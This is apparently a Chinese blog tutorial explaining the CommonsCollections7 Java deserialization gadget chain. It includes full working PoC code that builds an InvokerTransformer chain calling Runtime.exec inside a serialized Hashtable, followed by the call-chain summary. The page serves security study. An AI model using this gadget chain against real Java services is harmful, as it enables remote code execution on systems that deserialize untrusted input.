CommonsCollections7(基于ysoserial)
环境准备
JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
正文
CC7是CC6的一个变种,在 *CC7*(CommonsCollections7)攻击链中,使用HashTable替换了CC6中的HashMap结构,下边来介绍一下HashTable是怎么替代HashMap来完成反序列化操作的。
HashTable
Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,可以说HashTable是一种阉割版的HashMap。也可以这么理解:Hashtable 是 HashMap 的简化版,提供了类似的功能,但在一些方面做了限制和差异化设计。
站在应用的角度上来分析一下这两个类主要的区别,如果不理解的话可以去查一下对应的资料,这个并不影响Java安全的学习。
Hashtable 和 HashMap 的主要区别
- 线程安全性:
Hashtable:是线程安全的。所有的方法都是同步的,因此多个线程可以同时访问Hashtable,而不需要额外的同步控制。但同步会带来性能上的开销。HashMap:不是线程安全的。如果多个线程同时访问HashMap,并且至少一个线程修改了映射关系,必须外部加锁来保证线程安全。
- Null 键和值:
Hashtable:不允许null键或null值。如果你尝试插入null键或值,会抛出NullPointerException。HashMap:允许一个null键和多个null值。可以使用null作为键或者值来存储元素。
- 性能:
Hashtable:由于方法是同步的,线程安全保证会导致在多线程环境下性能较差。HashMap:性能更高,因为它不是线程安全的,在单线程或外部管理同步的环境下,HashMap的性能优于Hashtable。
- 迭代器:
Hashtable:使用的是Enumerator,这种迭代器比较古老,并且不支持remove()方法。HashMap:使用的是Iterator,它是现代 Java 集合框架的一部分,支持remove()方法,可以更加灵活地操作元素。
- 子类:
Hashtable:Hashtable是一个较旧的类,是Dictionary类的子类。Dictionary在现代 Java 中已经不推荐使用,更多的是通过Map接口来实现。HashMap:HashMap是Map接口的实现,更加现代化,也是 Java 集合框架的核心组成部分。
- 底层实现
HashMap在底层使用了 数组 + 链表 + 红黑树 的结构,JDK 1.8 开始,HashMap引入了 红黑树 来优化冲突处理,这样做是为了提高查找效率,特别是在哈希冲突非常严重的情况下。红黑树提供了 O(log n) 的查找、插入和删除操作,而链表则是 O(n) 的。Hashtable它的底层结构主要由 数组 + 链表 组成,它在发生哈希冲突时的查找效率较低,最坏情况下是 O(n),而HashMap在严重冲突时会通过红黑树将查找效率降到 O(log n),这使得HashMap在处理大量数据时具有更好的性能。
分析可利用代码
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
// 重点看这个方法,就是这里触发了漏洞利用
reconstitutionPut(table, key, value);
}
......
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
// 这个调用了key的hashCode,如果key是构造好的TiedMapEntry攻击链,则会攻击链代码被执行
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
如果你对原理不太理解,可以参考CC5中的攻击链构造过程:https://www.cnblogs.com/erosion2020/p/18555069
POC编写
这里ysoserial的代码写的还是比较繁琐的,这里给出两种写法,其中cc7bySimplify的代码是简化版本的,其中cc7byYsoSerial代码是ysoserial中的代码去掉工具类的版本。
可以先分析cc7bySimplify中的代码,待到有一点感觉后再去分析cc7byYsoSerial,其实代码都是一样的。但是ysoserial写的代码稍微有点绕。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
static String serialFileName = "commons-collections7.ser";
public static void main(String[] args) throws Exception {
// cc7bySimplify();
cc7byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cc7bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC7新的触发点 START=============================
Hashtable hashtable = new Hashtable();
hashtable.put(entry, 1);
lazyMap.clear();
//TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
public static void cc7byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{});
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
//TODO===========================CC7新的触发点 START=============================
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
//TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
}
调试
弹个cmd窗口

调用链总结(简化版 - cc7bySimplify)
- ObjectInputStream.readObject()
- HashTable.readObject()
- HashTable.reconstitutionPut()
- TiedMapEntry.hashCode()
- TiedMapEntry.getValue()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- ChainedTransformer.transform()
- LazyMap.get()
CommonsCollections7(基于ysoserial)的更多相关文章
- ysoserial分析【一】 之 Apache Commons Collections
目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...
- Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...
- 基于CommonsCollections4的Gadget分析
基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- ysoserial exploit/JRMPClient
ysoserial exploit/JRMPClient 上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听.再使用exploit/JRMPClient模块发 ...
- ysoserial payloads/JRMPClient
ysoserial payloads/JRMPClient 环境:JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上 ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
随机推荐
- LOTO示波器统计曲线和故障分析pass/fail测试
LOTO示波器统计曲线和故障分析pass/fail测试 虚拟示波器可以应用在工业自动化检测中,除了常规的检测波形和测量值参数以外,由多个行业客户定制和验证的统计曲线和故障分析(pass/fail)功能 ...
- hook千牛 千牛破解发消息 千牛机器人 千牛发消息组件 调用千牛发消息 实时获取千牛聊天记录 可以提供代码
由于开发的时候,需要调用千牛发消息,所以研究了如何调用千牛发消息的组件,非协议破解,需要挂机,基本不弹发消息的窗体,非模拟发送,直接调用千牛的某个方法直接发送的,挂机后还能获取订单,实时获取聊天记录, ...
- 消息队列为什么选用redis?聊聊如何做技术方案选型?
消息队列为什么选用redis?聊聊如何做技术方案选型? 老生常谈,消息队列主要有几大用途: 解耦:下单完成之后,需要订单服务去调用库存服务减库存,调用营销服务加营销数据. 引入消息队列,可以把订单完成 ...
- JavaScript Library – Svelte
前言 上一回我介绍了 Alpine.js.作为我开发企业网站 draft 版本的 render engine. 用了一阵子后,我觉得它真的非常不好用.所以打算换一个. 前端有好几个 framework ...
- SpringMVC —— RESTful入门
RESTful入门案例 1.设定http请求动作(动词) @RequestMapping(value = "/users",method = RequestMethod.POS ...
- bfs 与优先队列————洛谷p1126(历经两个小时总算AC了,哭晕)
机器人搬重物 题目描述 机器人移动学会(RMI)现在正尝试用机器人搬运物品.机器人的形状是一个直径 \(1.6\) 米的球.在试验阶段,机器人被用于在一个储藏室中搬运货物.储藏室是一个 \(N\tim ...
- 智和信通搭建高可靠、真稳定IT运维平台,助力能源行业高效生产
在能源企业信息化高度发展的背景下,北京智和信通有限公司推出全栈式运维管控平台--"智和网管平台",助力能源企业搭建高可靠.真稳定的IT运维平台,实现高效稳定生产. 信息化飞速发展, ...
- PHP提薪模块
在使用es搜索的时候需要注意以下这几点 文档(Document)与索引(Index):在ES中,文档是最小的数据单元,类似于数据库中的一行记录.文档组织在索引中,索引类似于数据库中的表.了解如何创建索 ...
- ServiceMesh 2:控制面和数据面的职责(图文总结)
★ ServiceMesh系列 1 Service Mesh介绍 之前的章节我们详细介绍了ServiceMesh的基础知识. ServiceMesh 是最新一代的微服务架构,作为一个基础设施层,能够与 ...
- 【USB3.0协议学习】Topic1·USB3.0Hub的一些机制
一.USB3.0 Hub的单播(非广播)机制 Hub通过解析下行packet header中的Route String字段识别packet要传递的终点,其中4'b0000代表hub本身,4'b0001 ...